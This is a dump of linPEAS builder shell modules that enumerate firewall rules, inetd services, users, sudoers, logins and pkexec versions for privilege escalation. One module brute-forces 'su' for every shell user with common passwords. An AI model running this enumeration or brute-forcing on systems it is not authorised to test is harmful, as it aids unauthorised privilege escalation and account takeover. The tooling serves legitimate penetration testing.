if [ "$EXTRA_CHECKS" ]; then echo "" print_3title "Additional Network Analysis Information" "T1040" # Check for network monitoring tools echo "Checking for network monitoring tools..." for tool in nethogs iftop iotop nload bmon; do if check_command "$tool"; then echo "$tool is available" | sed -${E} "s,.*,${SED_GREEN},g" fi done fi echo "" } # Run the main function check_network_traffic_analysis ================================================ FILE: linPEAS/builder/linpeas_parts/5_network_information/8_Iptables.sh ================================================ # Title: Network Information - Firewall Rules Analysis # ID: NT_Iptables # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Analyze firewall rules and configurations # License: GNU GPL # Version: 1.0 # Mitre: T1016 # Functions Used: print_2title, print_3title, warn_exec, echo_not_found # Global Variables: $EXTRA_CHECKS, $E, $SED_RED, $SED_GREEN, $SED_YELLOW, $SED_RED_YELLOW # Initial Functions: # Generated Global Variables: $rules_file, $cmd, $tool, $config_file, $sysctl_var # Fat linpeas: 0 # Small linpeas: 1 # Function to check if a command exists and is executable check_command() { local cmd=$1 if command -v "$cmd" >/dev/null 2>&1; then if [ -x "$(command -v "$cmd")" ]; then return 0 fi fi return 1 } # Function to analyze iptables rules analyze_iptables() { echo "" print_3title "Iptables Rules" "T1016" # Check if iptables is available if ! check_command iptables; then echo_not_found "iptables" return fi # Check if we have permission to list rules if ! timeout 1 iptables -L >/dev/null 2>&1; then echo "No permission to list iptables rules" | sed -${E} "s,.*,${SED_RED},g" return fi # Get iptables version warn_exec iptables --version 2>/dev/null # List all chains and rules echo -e "\nFilter Table Rules:" warn_exec iptables -L -v -n 2>/dev/null echo -e "\nNAT Table Rules:" warn_exec iptables -t nat -L -v -n 2>/dev/null echo -e "\nMangle Table Rules:" warn_exec iptables -t mangle -L -v -n 2>/dev/null # Check for custom chains echo -e "\nCustom Chains:" warn_exec iptables -L -v -n | grep -E "^Chain [A-Za-z]" | grep -v "INPUT\|OUTPUT\|FORWARD\|PREROUTING\|POSTROUTING" 2>/dev/null # Check for saved rules echo -e "\nSaved Rules:" for rules_file in /etc/iptables/* /etc/iptables/rules.v4 /etc/iptables/rules.v6 /etc/iptables-save /etc/iptables.save; do if [ -f "$rules_file" ]; then echo "Found rules in $rules_file:" warn_exec cat "$rules_file" | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null fi done } # Function to analyze nftables rules analyze_nftables() { echo "" print_3title "Nftables Rules" "T1016" # Check if nft is available if ! check_command nft; then echo_not_found "nftables" return fi # Check if we have permission to list rules if ! timeout 1 nft list ruleset >/dev/null 2>&1; then echo "No permission to list nftables rules" | sed -${E} "s,.*,${SED_RED},g" return fi # Get nftables version warn_exec nft --version 2>/dev/null # List all rules echo -e "\nNftables Ruleset:" warn_exec nft list ruleset 2>/dev/null echo -e "\nNftables Ruleset with handles (-a):" warn_exec nft -a list ruleset 2>/dev/null | sed -${E} "s,\\bdrop\\b|\\breject\\b|handle [0-9]+,${SED_RED_YELLOW},g" # Check for saved rules echo -e "\nSaved Rules:" for rules_file in /etc/nftables.conf /etc/sysconfig/nftables.conf; do if [ -f "$rules_file" ]; then echo "Found rules in $rules_file:" warn_exec cat "$rules_file" | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null fi done } # Function to analyze firewalld rules analyze_firewalld() { echo "" print_3title "Firewalld Rules" "T1016" # Check if firewall-cmd is available if ! check_command firewall-cmd; then echo_not_found "firewalld" return fi # Check if firewalld is running if ! systemctl is-active firewalld >/dev/null 2>&1; then echo "Firewalld is not running" | sed -${E} "s,.*,${SED_YELLOW},g" return fi # Get firewalld version warn_exec firewall-cmd --version 2>/dev/null # List all zones echo -e "\nFirewalld Zones:" warn_exec firewall-cmd --list-all-zones 2>/dev/null # List active zones echo -e "\nActive Zones:" warn_exec firewall-cmd --get-active-zones 2>/dev/null # List services echo -e "\nAvailable Services:" warn_exec firewall-cmd --list-services 2>/dev/null # List ports echo -e "\nOpen Ports:" warn_exec firewall-cmd --list-ports 2>/dev/null # List rich rules echo -e "\nRich Rules:" warn_exec firewall-cmd --list-rich-rules 2>/dev/null } # Function to analyze UFW rules analyze_ufw() { echo "" print_3title "UFW Rules" "T1016" # Check if ufw is available if ! check_command ufw; then echo_not_found "ufw" return fi # Check if UFW is running if ! ufw status >/dev/null 2>&1; then echo "UFW is not running" | sed -${E} "s,.*,${SED_YELLOW},g" return fi # Get UFW version warn_exec ufw version 2>/dev/null # List rules echo -e "\nUFW Rules:" warn_exec ufw status verbose 2>/dev/null # List numbered rules echo -e "\nNumbered Rules:" warn_exec ufw status numbered 2>/dev/null } # Main function to analyze firewall rules analyze_firewall_rules() { print_2title "Firewall Rules Analysis" "T1016" # Analyze different firewall systems analyze_iptables analyze_nftables analyze_firewalld analyze_ufw echo "" print_3title "Forwarding and rp_filter" "T1016" for sysctl_var in net.ipv4.ip_forward net.ipv6.conf.all.forwarding net.ipv4.conf.all.rp_filter; do sysctl "$sysctl_var" 2>/dev/null | sed -${E} "s,=[[:space:]]*1,${SED_RED_YELLOW},g" done if check_command conntrack; then echo -e "\nConntrack state (first 20):" warn_exec conntrack -L 2>/dev/null | head -n 20 fi # Additional checks if EXTRA_CHECKS is enabled if [ "$EXTRA_CHECKS" ]; then echo "" print_3title "Additional Firewall Information" "T1016" # Check for common firewall configuration files echo "Checking for firewall configuration files..." for config_file in /etc/sysconfig/iptables /etc/sysconfig/ip6tables /etc/iptables/rules.v4 /etc/iptables/rules.v6 /etc/nftables.conf /etc/ufw/user.rules /etc/ufw/user6.rules; do if [ -f "$config_file" ]; then echo "Found configuration file: $config_file" | sed -${E} "s,.*,${SED_GREEN},g" fi done # Check for firewall management tools echo -e "\nChecking for firewall management tools..." for tool in shorewall shorewall6 ferm; do if check_command "$tool"; then echo "$tool is available" | sed -${E} "s,.*,${SED_GREEN},g" fi done fi echo "" } # Run the main function analyze_firewall_rules ================================================ FILE: linPEAS/builder/linpeas_parts/5_network_information/9_Inetdconf.sh ================================================ # Title: Network Information - Inetd/Xinetd Services Analysis # ID: NT_Inetdconf # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Analyze inetd and xinetd services and configurations # License: GNU GPL # Version: 1.0 # Mitre: T1049 # Functions Used: print_2title, print_3title, warn_exec, echo_not_found # Global Variables: $EXTRA_CHECKS, $E, $SED_RED, $SED_GREEN, $SED_YELLOW # Initial Functions: # Generated Global Variables: $inetd_service, $log_file, $cmd, $service_name, $conf_file, $service_dir, $service_file, $inetd_file # Fat linpeas: 0 # Small linpeas: 0 # Function to check if a command exists and is executable check_command() { local cmd=$1 if command -v "$cmd" >/dev/null 2>&1; then if [ -x "$(command -v "$cmd")" ]; then return 0 fi fi return 1 } # Function to analyze inetd services analyze_inetd() { echo "" print_3title "Inetd Services" "T1049" # Check if inetd is installed if ! check_command inetd; then echo_not_found "inetd" return fi # Check if inetd is running if ! pgrep -x inetd >/dev/null 2>&1; then echo "inetd is not running" | sed -${E} "s,.*,${SED_YELLOW},g" fi # Get inetd version warn_exec inetd -v 2>/dev/null # Check main configuration file if [ -f "/etc/inetd.conf" ]; then echo -e "\nInetd Configuration (/etc/inetd.conf):" warn_exec cat /etc/inetd.conf | grep -v "^$" | grep -Ev "\W+\#|^#" 2>/dev/null # Check for potentially dangerous services echo -e "\nPotentially Dangerous Services:" warn_exec cat /etc/inetd.conf | grep -v "^$" | grep -Ev "\W+\#|^#" | grep -iE "shell|login|exec|rsh|rlogin|rexec|finger|telnet|ftp|tftp" 2>/dev/null | sed -${E} "s,.*,${SED_RED},g" else echo_not_found "/etc/inetd.conf" fi # Check for additional configuration files echo -e "\nAdditional Inetd Configuration Files:" for conf_file in /etc/inetd.d/* /etc/inet/*.conf; do if [ -f "$conf_file" ]; then echo "Found configuration in $conf_file:" warn_exec cat "$conf_file" | grep -v "^$" | grep -Ev "\W+\#|^#" 2>/dev/null fi done } # Function to analyze xinetd services analyze_xinetd() { echo "" print_3title "Xinetd Services" "T1049" # Check if xinetd is installed if ! check_command xinetd; then echo_not_found "xinetd" return fi # Check if xinetd is running if ! pgrep -x xinetd >/dev/null 2>&1; then echo "xinetd is not running" | sed -${E} "s,.*,${SED_YELLOW},g" fi # Get xinetd version warn_exec xinetd -version 2>/dev/null # Check main configuration file if [ -f "/etc/xinetd.conf" ]; then echo -e "\nXinetd Configuration (/etc/xinetd.conf):" warn_exec cat /etc/xinetd.conf | grep -v "^$" | grep -Ev "\W+\#|^#" 2>/dev/null # Check for included configurations echo -e "\nIncluded Configurations:" warn_exec grep -r "includedir" /etc/xinetd.conf 2>/dev/null else echo_not_found "/etc/xinetd.conf" fi # Check for service-specific configurations echo -e "\nService Configurations:" for service_dir in /etc/xinetd.d/ /etc/xinetd/; do if [ -d "$service_dir" ]; then echo "Services in $service_dir:" for service_file in "$service_dir"/*; do if [ -f "$service_file" ]; then service_name=$(basename "$service_file") echo -e "\nService: $service_name" # Check if service is enabled if grep -q "disable.*=.*no" "$service_file" 2>/dev/null; then echo "Status: Enabled" | sed -${E} "s,.*,${SED_RED},g" else echo "Status: Disabled" fi # Show service configuration warn_exec cat "$service_file" | grep -v "^$" | grep -Ev "\W+\#|^#" 2>/dev/null # Check for potentially dangerous configurations if grep -qiE "server.*=.*/bin/|server.*=.*/sbin/|server.*=.*/usr/bin/|server.*=.*/usr/sbin/" "$service_file" 2>/dev/null; then echo "Warning: Service uses system binaries" | sed -${E} "s,.*,${SED_RED},g" fi if grep -qiE "user.*=.*root|user.*=.*0" "$service_file" 2>/dev/null; then echo "Warning: Service runs as root" | sed -${E} "s,.*,${SED_RED},g" fi fi done fi done } # Function to check for running inetd/xinetd services check_running_services() { echo "" print_3title "Running Inetd/Xinetd Services" "T1049" # Check netstat for services if check_command netstat; then echo "Active Services (from netstat):" warn_exec netstat -tulpn 2>/dev/null | grep -E "inetd|xinetd" | sed -${E} "s,.*,${SED_RED},g" fi # Check ss for services if check_command ss; then echo -e "\nActive Services (from ss):" warn_exec ss -tulpn 2>/dev/null | grep -E "inetd|xinetd" | sed -${E} "s,.*,${SED_RED},g" fi # Check for service processes echo -e "\nRunning Service Processes:" for inetd_service in $(pgrep -l inetd 2>/dev/null; pgrep -l xinetd 2>/dev/null); do echo "$inetd_service" | sed -${E} "s,.*,${SED_RED},g" done } # Main function to analyze inetd/xinetd services analyze_inetd_services() { print_2title "Inetd/Xinetd Services Analysis" "T1049" # Analyze inetd and xinetd services analyze_inetd analyze_xinetd # Check for running services check_running_services # Additional checks if EXTRA_CHECKS is enabled if [ "$EXTRA_CHECKS" ]; then echo "" print_3title "Additional Inetd/Xinetd Information" "T1049" # Check for inetd/xinetd logs echo "Checking for service logs..." for log_file in /var/log/inetd.log /var/log/xinetd.log /var/log/messages /var/log/syslog; do if [ -f "$log_file" ]; then echo "Found log file: $log_file" | sed -${E} "s,.*,${SED_GREEN},g" warn_exec tail -n 20 "$log_file" | grep -iE "inetd|xinetd" 2>/dev/null fi done # Check for inetd/xinetd related files echo -e "\nChecking for related files..." for file in /etc/init.d/inetd /etc/init.d/xinetd /etc/default/inetd /etc/default/xinetd; do if [ -f "$inetd_file" ]; then echo "Found file: $inetd_file" | sed -${E} "s,.*,${SED_GREEN},g" warn_exec cat "$inetd_file" | grep -v "^$" | grep -Ev "\W+\#|^#" 2>/dev/null fi done fi echo "" } # Run the main function analyze_inetd_services ================================================ FILE: linPEAS/builder/linpeas_parts/6_users_information/10_Pkexec.sh ================================================ # Title: Users Information - Pkexec # ID: UG_Pkexec # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Check Pkexec policy and related files for privilege escalation # License: GNU GPL # Version: 1.0 # Mitre: T1548.003,T1548.004,T1068 # Functions Used: print_2title, print_info # Global Variables: $Groups, $groupsB, $groupsVB, $nosh_usrs, $sh_usrs, $USER # Initial Functions: # Generated Global Variables: $pkexec_bin, $pkexec_version, $policy_dir, $policy_file # Fat linpeas: 0 # Small linpeas: 1 print_2title "Checking Pkexec and Polkit" "T1548.003,T1548.004,T1068" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/interesting-groups-linux-pe/index.html#pe---method-2" echo "" print_3title "Polkit Binary" "T1548.003,T1068" # Check pkexec binary pkexec_bin=$(command -v pkexec 2>/dev/null) if [ -n "$pkexec_bin" ]; then echo "Pkexec binary found at: $pkexec_bin" | sed -${E} "s,.*,${SED_LIGHT_CYAN},g" if [ -u "$pkexec_bin" ]; then echo "Pkexec binary has SUID bit set!" | sed -${E} "s,.*,${SED_RED},g" fi ls -l "$pkexec_bin" 2>/dev/null # Check polkit version for known vulnerabilities if command -v pkexec >/dev/null 2>&1; then pkexec --version 2>/dev/null pkexec_version="$(pkexec --version 2>/dev/null | grep -oE '[0-9]+(\\.[0-9]+)+')" if [ "$pkexec_version" ] && [ "$(printf '%s\n' "$pkexec_version" "0.120" | sort -V | head -n1)" = "$pkexec_version" ] && [ "$pkexec_version" != "0.120" ]; then echo "Potentially vulnerable to CVE-2021-4034 (PwnKit) - check distro patches" | sed -${E} "s,.*,${SED_RED_YELLOW}," fi fi fi # Check polkit policies echo "" print_3title "Polkit Policies" "T1548.003" for policy_dir in "/etc/polkit-1/localauthority.conf.d/" "/etc/polkit-1/rules.d/" "/usr/share/polkit-1/rules.d/"; do if [ -d "$policy_dir" ]; then echo "Checking $policy_dir:" | sed -${E} "s,.*,${SED_LIGHT_CYAN},g" if [ -w "$policy_dir" ]; then echo "WARNING: $policy_dir is writable!" | sed -${E} "s,.*,${SED_RED},g" fi for policy_file in "$policy_dir"/*; do if [ -f "$policy_file" ]; then if [ -w "$policy_file" ]; then echo "WARNING: $policy_file is writable!" | sed -${E} "s,.*,${SED_RED},g" fi cat "$policy_file" 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$Groups,${SED_RED},g" fi done fi done # Check for polkit authentication agent echo "" print_3title "Polkit Authentication Agent" "T1548.004" ps aux 2>/dev/null | grep -i "polkit" | grep -v "grep" echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/6_users_information/11_Superusers.sh ================================================ # Title: Users Information - Superusers # ID: UG_Superusers # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Check for superusers and users with UID 0 # License: GNU GPL # Version: 1.0 # Mitre: T1087.001 # Functions Used: print_2title, print_info # Global Variables: $knw_usrs, $nosh_usrs, $sh_usrs, $USER # Initial Functions: # Generated Global Variables: $group # Fat linpeas: 0 # Small linpeas: 1 print_2title "Superusers and UID 0 Users" "T1087.001" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/interesting-groups-linux-pe/index.html" # Check /etc/passwd for UID 0 users echo "" print_3title "Users with UID 0 in /etc/passwd" "T1087.001" awk -F: '($3 == "0") {print}' /etc/passwd 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_RED_YELLOW},g" | sed "s,root,${SED_RED},g" if [ command -v getent >/dev/null 2>&1 ]; then for group in sudo wheel adm docker lxd lxc root shadow disk video; do if getent group "$group" >/dev/null 2>&1; then echo "- Users in group '$group':" getent group "$group" 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_RED},g" | sed "s,root,${SED_RED},g" fi done fi # Check for users with sudo privileges in sudoers echo "" print_3title "Users with sudo privileges in sudoers" "T1087.001" grep -v "^#" /etc/sudoers 2>/dev/null | grep -v "^$" | grep -v "^Defaults" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_RED_YELLOW},g" | sed "s,root,${SED_RED},g" echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/6_users_information/12_Users_with_console.sh ================================================ # Title: Users Information - Users with console # ID: UG_Users_with_console # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Users with console # License: GNU GPL # Version: 1.0 # Mitre: T1087.001 # Functions Used: print_2title # Global Variables: $MACPEAS, $sh_usrs, $TIMEOUT, $USER # Initial Functions: # Generated Global Variables: $ushell, $no_shells, $unexpected_shells # Fat linpeas: 0 # Small linpeas: 1 print_2title "Users with console" "T1087.001" if [ "$MACPEAS" ]; then dscl . list /Users | while read un; do ushell=$(dscl . -read "/Users/$un" UserShell | cut -d " " -f2) if grep -q "$ushell" /etc/shells; then #Shell user dscl . -read "/Users/$un" UserShell RealName RecordName Password NFSHomeDirectory 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," echo "" fi done else no_shells=$(grep -Ev "sh$" /etc/passwd 2>/dev/null | cut -d ':' -f 7 | sort | uniq) unexpected_shells="" printf "%s\n" "$no_shells" | while read f; do if [ -x "$f" ]; then if [ "$TIMEOUT" ]; then if $TIMEOUT 1 "$f" -c 'whoami' 2>/dev/null | grep -q "$USER"; then unexpected_shells="$f\n$unexpected_shells" fi else if "$f" -c 'whoami' 2>/dev/null | grep -q "$USER"; then unexpected_shells="$f\n$unexpected_shells" fi fi fi done grep "sh$" /etc/passwd 2>/dev/null | sort | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," if [ "$unexpected_shells" ]; then printf "%s" "These unexpected binaries are acting like shells:\n$unexpected_shells" | sed -${E} "s,/.*,${SED_RED},g" echo "Unexpected users with shells:" printf "%s\n" "$unexpected_shells" | while read f; do if [ "$f" ]; then grep -E "${f}$" /etc/passwd | sed -${E} "s,/.*,${SED_RED},g" fi done fi fi echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/6_users_information/13_Users_groups.sh ================================================ # Title: Users Information - Users & groups # ID: UG_Users_groups # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Get all users & groups # License: GNU GPL # Version: 1.0 # Mitre: T1087.001,T1069.001 # Functions Used: print_2title # Global Variables: $groupsB, $groupsVB, $knw_grps, $knw_usrs, $MACPEAS, $nosh_usrs, $sh_usrs, $USER # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 print_2title "All users & groups" "T1087.001,T1069.001" if [ "$MACPEAS" ]; then dscl . list /Users | while read i; do id $i;done 2>/dev/null | sort | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" else cut -d":" -f1 /etc/passwd 2>/dev/null| while read i; do id $i;done 2>/dev/null | sort | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" fi echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/6_users_information/14_Login_now.sh ================================================ # Title: Users Information - Login now # ID: UG_Login_now # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Check currently logged in users and their sessions # License: GNU GPL # Version: 1.0 # Mitre: T1033 # Functions Used: print_2title # Global Variables: $knw_usrs, $nosh_usrs, $sh_usrs, $USER # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 print_2title "Currently Logged in Users" "T1033" # Check basic user information echo "" print_3title "Basic user information" "T1033" (w || who || finger || users) 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed "s,root,${SED_RED},g" # Check for active sessions echo "" print_3title "Active sessions" "T1033" if command -v w >/dev/null 2>&1; then w 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed "s,root,${SED_RED},g" fi # Check for logged in users via utmp echo "" print_3title "Logged in users (utmp)" "T1033" if [ -f "/var/run/utmp" ]; then who -a 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed "s,root,${SED_RED},g" fi # Check for SSH sessions echo "" print_3title "SSH sessions" "T1033" if command -v ss >/dev/null 2>&1; then ss -tnp | grep ":22" 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed "s,root,${SED_RED},g" fi # Check for screen sessions echo "" print_3title "Screen sessions" "T1033" if command -v screen >/dev/null 2>&1; then screen -ls 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed "s,root,${SED_RED},g" fi # Check for tmux sessions echo "" print_3title "Tmux sessions" "T1033" if command -v tmux >/dev/null 2>&1; then tmux list-sessions 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed "s,root,${SED_RED},g" fi echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/6_users_information/15_Last_logons.sh ================================================ # Title: Users Information - Last logons # ID: UG_Last_logons # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Check last logons and login history # License: GNU GPL # Version: 1.0 # Mitre: T1033 # Functions Used: print_2title # Global Variables: $knw_usrs, $nosh_usrs, $sh_usrs, $USER # Initial Functions: # Generated Global Variables: $EXISTS_FINGER, $ushell # Fat linpeas: 0 # Small linpeas: 1 print_2title "Last Logons and Login History" "T1033" # Check last logins echo "" print_3title "Last logins" "T1033" if command -v last >/dev/null 2>&1; then last -n 20 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed "s,root,${SED_RED},g" fi # Check failed login attempts echo "" print_3title "Failed login attempts" "T1033" if command -v lastb >/dev/null 2>&1; then lastb -n 20 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed "s,root,${SED_RED},g" fi # Check auth logs for recent logins echo "" print_3title "Recent logins from auth.log (limit 20)" "T1033" if [ -f "/var/log/auth.log" ]; then grep -i "login\|authentication\|accepted" /var/log/auth.log 2>/dev/null | tail -n 20 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed "s,root,${SED_RED},g" fi # Last time logon each user echo "" if command -v lastlog >/dev/null 2>&1; then print_3title "Last time logon each user" "T1033" lastlog 2>/dev/null | grep -v "Never" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," fi EXISTS_FINGER="$(command -v finger 2>/dev/null || echo -n '')" if [ "$MACPEAS" ] && [ "$EXISTS_FINGER" ]; then dscl . list /Users | while read un; do ushell=$(dscl . -read "/Users/$un" UserShell | cut -d " " -f2) if grep -q "$ushell" /etc/shells; then #Shell user finger "$un" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," echo "" fi done fi echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/6_users_information/17_Password_policy.sh ================================================ # Title: Users Information - Password policy # ID: UG_Password_policy # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Get assword policy # License: GNU GPL # Version: 1.0 # Mitre: T1201 # Functions Used: echo_not_found, print_2title # Global Variables: $EXTRA_CHECKS, $MACPEAS # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 0 if [ "$EXTRA_CHECKS" ]; then print_2title "Password policy" "T1201" grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs 2>/dev/null || echo_not_found "/etc/login.defs" echo "" if [ "$MACPEAS" ]; then print_2title "Relevant last user info and user configs" "T1201" defaults read /Library/Preferences/com.apple.loginwindow.plist 2>/dev/null echo "" print_2title "Guest user status" "T1201" sysadminctl -afpGuestAccess status | sed -${E} "s,enabled,${SED_RED}," | sed -${E} "s,disabled,${SED_GREEN}," sysadminctl -guestAccount status | sed -${E} "s,enabled,${SED_RED}," | sed -${E} "s,disabled,${SED_GREEN}," sysadminctl -smbGuestAccess status | sed -${E} "s,enabled,${SED_RED}," | sed -${E} "s,disabled,${SED_GREEN}," echo "" fi fi ================================================ FILE: linPEAS/builder/linpeas_parts/6_users_information/18_Brute_su.sh ================================================ # Title: Users Information - Brute su # ID: UG_Brute_su # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Brute su # License: GNU GPL # Version: 1.0 # Mitre: T1110.001 # Functions Used: check_if_su_brute, print_2title, su_brute_user_num # Global Variables: $IAMROOT, $PASSTRY, $TIMEOUT # Initial Functions: # Generated Global Variables: $SHELLUSERS, $POSSIBE_SU_BRUTE # Fat linpeas: 0 # Small linpeas: 0 if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ] && ! [ "$IAMROOT" ]; then print_2title "Testing 'su' as other users with shell using as passwords: null pwd, the username and top2000pwds\n"$NC POSSIBE_SU_BRUTE=$(check_if_su_brute); if [ "$POSSIBE_SU_BRUTE" ]; then SHELLUSERS=$(cat /etc/passwd 2>/dev/null | grep -i "sh$" | cut -d ":" -f 1) printf "%s\n" "$SHELLUSERS" | while read u; do echo " Bruteforcing user $u..." su_brute_user_num "$u" $PASSTRY done else printf $GREEN"It's not possible to brute-force su.\n\n"$NC fi else print_2title "Do not forget to test 'su' as any other user with shell: without password and with their names as password (I don't do it in FAST mode...)\n"$NC fi print_2title "Do not forget to execute 'sudo -l' without password or with valid password (if you know it)!!\n"$NC ================================================ FILE: linPEAS/builder/linpeas_parts/6_users_information/1_Macos_my_user_hooks.sh ================================================ # Title: Users Information - MacOS my user hooks # ID: UG_Macos_my_user_hooks # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Get current user Login and Logout hooks # License: GNU GPL # Version: 1.0 # Mitre: T1033,T1543.001 # Functions Used: print_2title # Global Variables: $HOME, $MACPEAS # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 0 if [ "$MACPEAS" ];then print_2title "Current user Login and Logout hooks" "T1033,T1543.001" defaults read $HOME/Library/Preferences/com.apple.loginwindow.plist 2>/dev/null | grep -e "Hook" echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/6_users_information/1_My_user.sh ================================================ # Title: Users Information - My User # ID: UG_My_user # Author: Carlos Polop # Last Update: 22-08-2023 # Description: My User # License: GNU GPL # Version: 1.0 # Mitre: T1033 # Functions Used: print_2title, print_info # Global Variables: $groupsB, $groupsVB, $idB, $knw_grps , $knw_usrs, $nosh_usrs,$sh_usrs, $USER # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 print_2title "My user" "T1033" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#users" (id || (whoami && groups)) 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed 